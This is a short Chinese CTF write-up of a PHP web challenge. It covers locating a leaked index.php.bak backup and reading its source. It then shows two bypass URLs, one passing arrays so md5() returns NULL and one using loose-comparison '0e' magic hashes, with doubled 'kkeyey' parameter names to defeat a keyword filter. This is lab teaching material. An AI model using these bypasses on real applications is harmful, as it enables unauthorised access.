http://123.206.87.240:8002/web16/

题解:

MD5编码

d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

 MD5解码

NULL

理论知识:

将原有文件改名进行简单的备份,如将index.php重命名为index.php.bak或者index_bak.php,然后对原文件index.php进行修改,满足其开发要求,在失败的情况下可以再将 index.php.bak或者index_bak.php文件重命名index.php进行还原,这是在没有版本控制的情况下!

 CTF中常见的源码泄漏利用工具

扫描分析

 

下载index.php备份文件index.php.bak

index.php.bak

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

代码分析

strstr()函数,返回url中'?'加上’?‘之后的字符串,

substr()函数,返回从$str[1]开始的字符串,即去掉'?',

str_replace()函数去掉$str中的'key',

parse_str()函数,它的作用是将字符串解析到变量中,举个例子parse_str('a=1&b=1');与$a=1;$b=1;的效果是一样的,

版本一

原理:md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

构造URL

http://123.206.87.240:8002/web16/?kkeyey1[]=1&kkeyey2[]=2

 

版本二

原理: ==比较漏洞

如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。

MD5值都是0e开头的字符串:

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a

 

 构造URL

http://123.206.87.240:8002/web16/?kkeyey1=240610708&kkeyey2=QNKCDZO